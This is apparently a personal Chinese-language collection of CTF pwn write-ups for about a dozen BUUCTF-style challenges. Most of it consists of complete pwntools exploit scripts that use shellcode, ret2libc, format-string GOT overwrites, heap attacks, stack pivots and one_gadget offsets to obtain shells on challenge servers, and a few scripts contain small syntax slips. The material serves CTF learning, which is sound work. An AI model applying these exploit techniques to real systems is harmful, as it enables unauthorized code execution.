大怨种的pwn的wp

0x01 pwnable_echo1

军训几天加暑假的活

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./l3')
elf = ELF('./l3')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25833)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

shellcode = asm('''
    jmp rsp
    ''')

id = 0x6020a0
sl(shellcode)#没开NX，id写跳到栈sl(b'1')
shellcode = asm(shellcraft.sh())#直接binsh

sd(b'a'*0x28)
sl(p64(id)+shellcode)#返回到id，跳到栈，执行shellcode
ia()

0x02 [ZJCTF 2019]Login

输入可疑账号密码报段错误。

发现调用。可以控制的话就有漏洞了。

汇编查看。

继续跟进来源，是 rdi。
返回，rdi就是第一个参数，是v8，v8来自后面函数返回的参数。跟进。
返回的是v2。跟进v2.

在var18.

回到输入密码的函数，进入s。

可以控制，控制为后门函数即可。
这题是浓浓的pwn逆向味道，从漏洞点一直反推，愁啊，什么时候能会啊。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./l3')
elf = ELF('./l3')
#libc = ELF('./libc-2.23.so')
#p = remote('node4.buuoj.cn', 29883)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p,'b *(0x400a4a)')

sl(b'admin')
sl(b'2jctf_pa5sw0rd'+b'\x00'*(0x60-0x18-14)+p64(0x400e88))
#sl(b'2jctf_pa5sw0rd')

ia()

0x03 wustctf2020_closed

0是标准输入，1是标准输出，2是标准错误，还可以有文件。
exec 1>&0就是将标准输出重定向到标准输入也就是没有关闭的地方。还可以exec 1>flag.txt，定向输出到文件中。
参考https://blog.csdn.net/u011630575/article/details/52151995。

0x04 hitcontraining_magicheap

fastbin attack，修改fd申请内存，然后修改magic。注意要对其 7f为size。注意堆题要patch好环境。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./heap')
p = remote('node4.buuoj.cn', 26724)
elf = ELF('./heap')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,content):
    sla(':',b'1')
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':',b'2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':',b'3')
    sla(':',str(idx))

add(0x10,b'6')
add(0x68,b'6')
#add(0x10,b'6')
free(1) #释放到fastbin，进行fastbin attack，具体方式是修改fd为heap指针附近的地址
edit(0,b'\x00'*0x18+p64(0x71)+p64(0x6020a0-0x13))#在heap1写binsh，0x6020ad是刚才定位到的fake heap
add(0x68,b'aaaa')
add(0x68,b'aaaaaa')

#sl(b'4869')
ia()

0x05 axb_2019_fmt32

注意调成i386。

1.利用 elf.got 配合 %i$s 获取got表的值

w = elf.got['read']

sla(b'me:',b'a'+p32(w)+b'%8$s')#偏移自己试一下试出来

2.pwntool的格式化字符串任意地址写工具

fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)

第一个参数是参数偏移，就是%i$n的i。

第二个参数，{a:b}是指把a写成b，

第三个参数， write_size = ‘byte’是指单位步长是byte，参数为字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写

第四个参数，指的是已经打印了的内容，这里是10是因为0xa=1（payload前面的a）+9（repeater：的长度）。

3.整体思路

有点像堆，修改printf的got表为system后，运行printf(buf)时运行system('cat flag')，前面有repeater:所以加分号执行。

4.exp

借刀杀人（用system）

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./ax')
elf = ELF('./ax')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25538)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

w = elf.got['read']
pr = elf.got['printf']

sla(b'me:',b'a'+p32(w)+b'%8$s')


realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))

libcbase =  realputs - libc.sym['read'] 
print(hex(realputs-libcbase))
print(hex(libcbase))

sys = libcbase + libc.sym['system']
#os = libcbase + 0x3a822

 
payload =b'a'+ fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)
sl(payload)
sla('\n',b';cat flag')
ia()

单刀直入（用one shot）

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./ax')
elf = ELF('./ax')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25538)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

w = elf.got['read']
pr = elf.got['printf']

sla(b'me:',b'a'+p32(w)+b'%8$s')


realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))

libcbase =  realputs - libc.sym['read'] 
print(hex(realputs-libcbase))
print(hex(libcbase))

sys = libcbase + libc.sym['system']
os = libcbase + 0x3a822

 
payload =b'a'+ fmtstr_payload(8,{pr: os},write_size = 'byte' ,numbwritten=10)
sl(payload)
#sla('\n',b';cat flag')
ia()

0x06 ciscn_2019_n_3

这道题自己完全想出来了一个思路，参考了网上一个思路。

我的思路

我的思路是修改前面的打印函数地址，因为我老以为修改释放函数地址不行，实际上他是释放ptr而不是后面的内容，我以为溢出不过去。
那么这个做法是先用打印字符串函数覆盖打印整数函数，进行两层的解引用，得到puts的got值，然后再覆盖打印函数地址为oneshot，完成提权。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('3')
elf = ELF('3')
libc = ELF('./libc-2.27.so')
p = remote('node4.buuoj.cn', 29921)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

sys = elf.plt['system']
fget = elf.plt['fgets']
free = elf.plt['free']
pg = elf.got['puts']

sl(b'1')
sl(b'0')
sl(b'1')
sl(str(pg))
sl(b'1')
sl(b'1')
sl(b'1')
sl(str(pg))
#申请两个
sl(b'2')
sl(b'0')
sl(b'2')
sl(b'1')

sl(b'1')
sl(b'2')
sl(b'2')
sl(b'7')
sl(p32(0x80486de))

sl(b'3')
sl(b'0')

puts = u32(ru('\xf7')[-4:])
print(hex(puts))
base = puts - libc.sym['puts']

print('base is >>> ' ,hex(base), '\n\n\n\n\n\n\n\n\n\n')
os = base + 0x3cbea

sl(b'1')
sl(b'3')
sl(b'2')
sl(b'50')
sl(b'/bin/sh\x00')
sl(b'1')
sl(b'4')
sl(b'2')
sl(b'50')
sl(p32(sys))

sl(b'2')
sl(b'3')
sl(b'2')
sl(b'4')

sl(b'1')
sl(b'5')
sl(b'2')
sl(b'12')
sl(p32(os))


ia()

'''
0x3cbea execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3cbec execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3cbf0 execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3cbf7 execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x6729f execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x672a0 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x13573e execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x13573f execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL
'''

泄露基地址特写，由此我们可以为所欲为了。

网上的思路

修改del函数的地址，修改成system，执行free(ptr)实际上是system(ptr)，再把ptr刚好也覆盖一下为sh就行。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('3')
elf = ELF('3')
libc = ELF('./libc-2.27.so')
p = remote('node4.buuoj.cn', 29921)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

sys = elf.plt['system']
fget = elf.plt['fgets']
free = elf.plt['free']
pg = elf.got['puts']

sl(b'1')
sl(b'0')
sl(b'1')
sl(str(pg))
sl(b'1')
sl(b'1')
sl(b'1')
sl(str(pg))
#申请两个
sl(b'2')
sl(b'0')
sl(b'2')
sl(b'1')

sl(b'1')
sl(b'2')
sl(b'2')
sl(b'12')
sl(b'sh\x00\x00'+p32(sys))

sl(b'2')
sl(b'0')

ia()

0x07 others_babystack

开了canary，利用puts泄露canary，打ret2libc。但是要注意调试，栈有变化。（此题是独立做出，从这次开始会标注独立做出来的题目）

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./bs')
elf = ELF('./bs')
libc = ELF('./libc-2.23.so')


n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

putsplt = elf.plt['puts']
mainplt = 0x400908
putsgot = elf.got['puts']
ret = 0x040067e
rdiadd = 0x0400a93

if args.G:
    gdb.attach(p)
if args.P:
    p = remote('node4.buuoj.cn', 25456)
can = 0
sa('>>',b'1')
sl(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa')
leakc = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa'
print('-------------\n-------------\nleak payload is here >>>>  ',hex(len(leakc)),'\n-------------\n-------------')
sa('>>',b'2')

can = u64(b'\x00'+ru(b'\n')[-9:-2])
can = u64(b'\x00'+ru(b'\n')[-9:-2])
print('-------------\n-------------\ncannary is here >>>>  ',hex(can),'\n-------------\n-------------')

sla('>>',b'1')
sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(putsgot) + p64(ret) + p64(putsplt) + p64(mainplt))


sl(b'3')

rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
ru(b'\n>> ')
rp =u64(ru(b'\x7f').ljust(8,b'\x00'))
print('-------------\n-------------\nputsgot is here >>>>  ',hex(rp),'\n-------------\n-------------')
libcbase = rp - libc.sym['puts']
sys = libcbase + libc.sym['system']
binsh = libcbase + 0x18cd57

sla('>>',b'1')
sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(binsh) + p64(ret) + p64(sys) + p64(mainplt))
sl(b'3')
print('pwned!go ahead')

ia()

0x07 pwnable_start

独立做出。
两段汇编代码，泄露栈地址以及ret2shellcode。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./start')
elf = ELF('./start')
#libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 26356)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p,'b start')

rdi = 0x00000000004006b3
readplt = 0x4004c0
mainplt = 0x8048470
write = 0x8048340
w = 0x0804A018 
sh = asm('''
    push   0x68732f
    push   0x6e69622f
    mov ebx,esp
    push 0xb
    pop eax
    xor ecx, ecx
    xor edx, edx
    int 0x80
    ''')

sd(b'a'*20+p32(0x8048087))
s = u32(ru(b'\x00')[-6:-2])
print('s is >>> ', hex(s))
print('lensh is >>> ', len(sh))
sd(b'a'*20+p32(s-4+24)+sh)

ia()

0x08 babyfengshui_33c3_2016

2023.7.18
本题目的关键在于找到绕过控制输入长度的方式，这个程序检测是否溢出是看堆加上输入长度是否到达存放name的堆，那么只需要把两个分开就可以绕过。

要记入堆攻击那些事儿，泄露方式还有打印堆

from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./shui')
p = remote('node4.buuoj.cn', 25443)
elf = ELF('./shui')
libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,name,rsize,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(0))
    sla(':',str(size))
    sla(':',(name))
    sla(':',str(rsize))
    sla(':',content)

def edit(idx, content):
    sla(':','3')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','1')
    sla(':',str(idx))

def dump(idx):
    sla(':','2')
    sla(':',str(idx))

add(0x89,b'aa',0x89,b'aaaaaaaa')#0
add(0x89,b'aa',0x89,b'aaaaaaaa')#1
add(0x89,b'aa',0x89,b'aaaaaaaa')#2
add(0x89,b'aa',0x89,b'/bin/sh\x00')#3
free(0)#分割开free(2)#分开
freegot = elf.got['free']
add(0x110,b'a'*0x10,0x200,b'a'*0x100+b'8'*0x10+p32(0x118)+p32(0x91)+b'a'*0x88+p32(0)+p32(0x89)+p32(freegot)+b'freegot\x00')#4，覆盖1为freegot
dump(1)#泄露rfree = u32(ru(b'\xf7')[-4:])
print('rfree is >>>',hex(rfree))#获得基地址base = rfree - libc.sym['free']
print('base is >>>',hex(base))
os = base+0x3a819
sys = base+libc.sym['system']#覆盖free为system

edit(1,p32(sys))
free(3)#执行system('/bin/sh')
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

ia()

此题os试了是不行的。

0x09 hws2023夏令营选拔赛 fmt

2023.7.16

泄漏libcbase

调整one shot

发现rdx本来就是0，不用使用gadget的代码进行赋值，所以跳过，达到rdi rdx都是0的效果。
使用oneshot，一发入魂。

exp

from pwn import *  
context(os='linux', arch='amd64', log_level='debug')  
#context(os='linux', arch='amd64')  
  
p = process('./fmt')  
elf = ELF('./fmt')  
libc = ELF('./libc.so.6')  
#p = remote('60.204.140.184', 30090)  
  
n2b = lambda x : str(x).encode()  
rv = lambda x : p.recv(x)  
ru = lambda s : p.recvuntil(s)  
sd = lambda s : p.send(s)  
sl = lambda s : p.sendline(s)  
sn = lambda s : sl(n2b(n))  
sa = lambda t, s : p.sendafter(t, s)  
sla = lambda t, s : p.sendlineafter(t, s)  
sna = lambda t, n : sla(t, n2b(n))  
ia = lambda : p.interactive()  
rop = lambda r : flat([p64(x) for x in r])  
uu64=lambda data :u64(data.ljust(8,b'\x00'))  
  
if args.G:  
gdb.attach(p,'b *$rebase(0x13aa)')  
  
  
sla(b'str: ',b'%8$p-%1$p-%14$p')#调试出各个参数  
  
realputs = int(ru('-')[:-1],16)#泄露got表  
piebase = int(ru('-')[:-1],16)-0x2013#泄露pie基地址（没啥用，因为开了FULLRELRO）  
ret = int(ru('\n')[:-1],16)+8#泄露返回地址  
#realputs = int(ru('\n')[:-1],16)  
  
print("okkkkkkkkkkkkk#ykkkkkkkkkk")  
print(hex(realputs))  
print(hex(piebase))  
print(hex(ret))  
x = libc.sym['_IO_file_jumps']  
print(hex(x))  
libcbase = realputs - x#计算基地址  
print(hex(realputs-libcbase))  
print(hex(libcbase))  
  
#w = elf.got['read']+piebase#没用的，因为不能改got表  
pr = elf.got['printf']+piebase  
  
#sys = libcbase + libc.sym['system']  
os = libcbase + 0xe3afe+3#跳过修改rdx，因为rdx本来就是0  
print('pr is >>> ',hex(pr))  
print('os is >>> ',hex(os))  
print('ret is >>> ',hex(ret))  
payload = fmtstr_payload(6,{ret: os},write_size='short')#因为限制长度80，所以用short方式修改  
#payload = b'%20c%6$hhn'+p64(ret)  
print('paylen is >>>',len(payload))  
sla('str: ',payload)  
ia()  
'''  
0xe3afe execve("/bin/sh", r15, r12)  
constraints:  
[r15] == NULL || r15 == NULL  
[r12] == NULL || r12 == NULL  
  
0xe3b01 execve("/bin/sh", r15, rdx)  
constraints:  
[r15] == NULL || r15 == NULL  
[rdx] == NULL || rdx == NULL  
  
0xe3b04 execve("/bin/sh", rsi, rdx)  
constraints:  
[rsi] == NULL || rsi == NULL  
[rdx] == NULL || rdx == NULL  
'''

0x0a gyctf_2020_borrowstack

栈迁移同时注意使用多个ret滑栈，防止返回main过程覆盖got表。使用oneshot一发入魂！

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./borrow')
elf = ELF('./borrow')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 27585)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

lv = 0x400699
bss = 0x601080
puts = elf.plt['puts']
putsg = elf.got['puts']
rdi =0x0000000000400703
ret = 0x4004c9

sd(b'a'*0x60+p64(bss)+p64(lv))
sd(p64(ret)*28+p64(rdi) +p64(putsg)+p64(puts)+p64(elf.sym['main']))
rputs = ru('\n')
rputs = ru('\n')
rputs = uu64(ru('\n')[:-1])


print('rputs is >>> ',hex(rputs))
base = rputs-libc.sym['puts']
print('base is >>> ',hex(base))
os = base+0x45216

sd(b'a'*0x60+p64(bss)+p64(os))
sd(b'a'*0x60+p64(bss)+p64(lv))
ia()
'''

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
-----

0x0b hitcontraining_heapcreator

这是buu的pwn第二页最后一题，终于搞定了。
今天自己维护了自己的库魔刀千刃（evilblade），用这个来做pwn，所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了，其实大概意思就那样，理解思路最重要。

一开始不知道off-by-one（本质就是可以溢出一个字节，覆盖下一个堆块大小用来伪造堆块，从而申请新的伪造堆块的时候达到溢出的效果）

意思就是程序以为堆块很大（因为被改了），但实际上很小，所以可以达成溢出的效果。

但是我一开始打的是unsorted bin attack来泄露地址……有点笨了，所以前面有一些没用的代码。

我一定要吐槽一下这个库的问题，我之前用11.3都没问题，这次有问题。
卡了我一晚上，最后换了11的库patch上才好了。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')

setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25102)
evgdb()

def add(size,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sa(':',content)

def free(idx):
    sla(':','4')
    sla(':',str(idx))

def dump(idx):
    sla(':','3')
    sla(':',str(idx))


add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候，会把自己的大小写到下一个堆块的prev_size中，实际上gdb的颜色才是堆块的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet('add')
addr = tet('add')
addr = get64('add')
base = getbase(addr, 'write',0x2cd7c8)

edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2)

add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet('add')
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
dp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free')

os = base+0xf1147
sys = symoff('system',base)

edit(1,p64(sys))

free(0)
ia()

魔刀千刃的特写

诞生之日：2023.7.29

魔刀千刃（evilblade）

好！

0x0c ciscn_2019_s_9

此题给了jmp esp，但是溢出空间不够，所以考虑写退回esp前0x24来执行shellcode，需要自己写一下长度不要超过32，我这儿长度21.不知道还有没有更短的？

魔刀千刃Evilblade

from pwn import *
from evilblade import *

context(os='linux', arch='i386', log_level='debug')

setup('./s9')
#libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27084)
evgdb('b *0x8048550')

shellcode = asm('''
        push 0xb
        pop eax
        push   0x68732f
        push   0x6e69622f
        mov ebx,esp
        xor ecx,ecx
        xor edx,edx
        int 0x80
        ''')


s0 = asm('''
         nop
         nop
         nop
         nop
        ''')


s1 = asm('''
         mov ebx,esp
         sub ebx,0x24
         jmp ebx
         nop
        ''')



dp('shelllen',len(shellcode))
dp('s0len',len(s0))
dp('s1len',len(s1))
sl(shellcode.ljust(32,b'a')+s0+p32(0x8048551)+s1)

ia()

0x0d DASCTF 2023 & 0X401七月暑期挑战赛 viphouse

2023.7.23的凌晨一点五十。昨天一天打比赛，没有做出来但是密码飞飞飞。晚上和出题人讨论了好多，id叫T1d是个很不错的师傅。

我也没想到这个要打那么久，buu的下一题octf2017 easyheap还没做，也没啥思路，pwn真的是太奇妙了。

早点睡觉，起床收拾东西去机场，飞国防科大咯！

详细的写在exp注释了。

爆破的思路很精妙，就是多一个字节这个。以及高版本栈没有pop rdi，还有尝试直接puts也是不错的选择。这个exp应该会经常复用。

善于观察，看交叉引用。

from pwn import *
from evilblade import *


context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./a')
libset('libc.so.6')
rsetup('124.223.159.125',9999)

sla('option:',b'1')
sla('name:',b'admin\x00')
sla('word:',b'root\x00')
guess = ''
#爆破，由于统计比较成功个数的int i 在v2也就是输入内容的下一个字节
#所以如果第一个比较成功会变成\x01，两个比较成功变成\x02，以此类推
#由此可以爆破出来src，比较成功
for i in range(0,8):
    for j in range(0,256):
            if(i==0):
                    temp = chr(j)
                    sl(b'4')
                    sl(temp*16)
                    rev = ru('input:')
                    rev = tet('name')
                    print('_______>>>>>>>..')
                    for byte in rev:
                          print(f"\\x{byte:02X}", end="")
            else:
                if(i == 7):
                    temp = chr(j)
                    sl(b'4')
                    sl(guess+temp*(16-i))
                    rev = ru('guess:')
                    print('_______>>>>>>>..')
                    print(rev)
                    
                else:
                    temp = chr(j)
                    sl(b'4')
                    sl(guess+temp*(16-i))
                    rev = ru('input:')
                    rev = tet('name')
                    print('_______>>>>>>>..')
                    for byte in rev:
                        print(f"\\x{byte:02X}", end="")

            if bytes([i+1]) in rev and j != i+1 and j!= i+2 or b'gift' in rev and i==7:
                    if(i==7):
                        temp = chr(ord(temp)-1)
                    guess += temp
                    dp('guess',guess)
                    dp('guess len',len(guess))
                    formatted_string = ''.join([f"\\x{ord(char):02X}" for char in guess])
                    print('__________________>>>>',formatted_string)
                    break


sla('option:',b'4')
sl(guess)
#得到src后泄露canary，可以栈溢出
gift = tet('tet')
gift = tet('gift')
ru('!')
gift = geti('gift')

rdi = 0x401cb6
main = 0x401ae9
#由于高版本没有pop rdi，0x401cb6有一个控制rdi的片段
evgdb('b *0x401Ac3')
sl(b'5')
sl(b'1')
sla('name:',b'admin\x00')
sla('word:',b'a'*0x40+p64(gift)+p64(rdi)+p64(pltadd('puts'))+p64(main))
#上面这里非预期地泄露了_IO_file_jumps的地址，得到基地址

add = getx64('add',-23,-17)
base = getbase(add,'_IO_file_jumps')
rbp = 0x000000000040139d


sl(b'3')
sl(b'1')
sl(p64(base+0x1d8698))
#这里在dest写入binsh的地址，配合0x401cb6使用
sl(b'3')
sl(b'5')
sl(b'1')


sla('name:',b'admin\x00')
sla('word:',b'a'*0x40+p64(gift)+p64(rdi)*2+p64(symoff('system',base))+p64(main))
#控制参数为'/bin/sh',调用system
print('pwned!go ahead')
ia()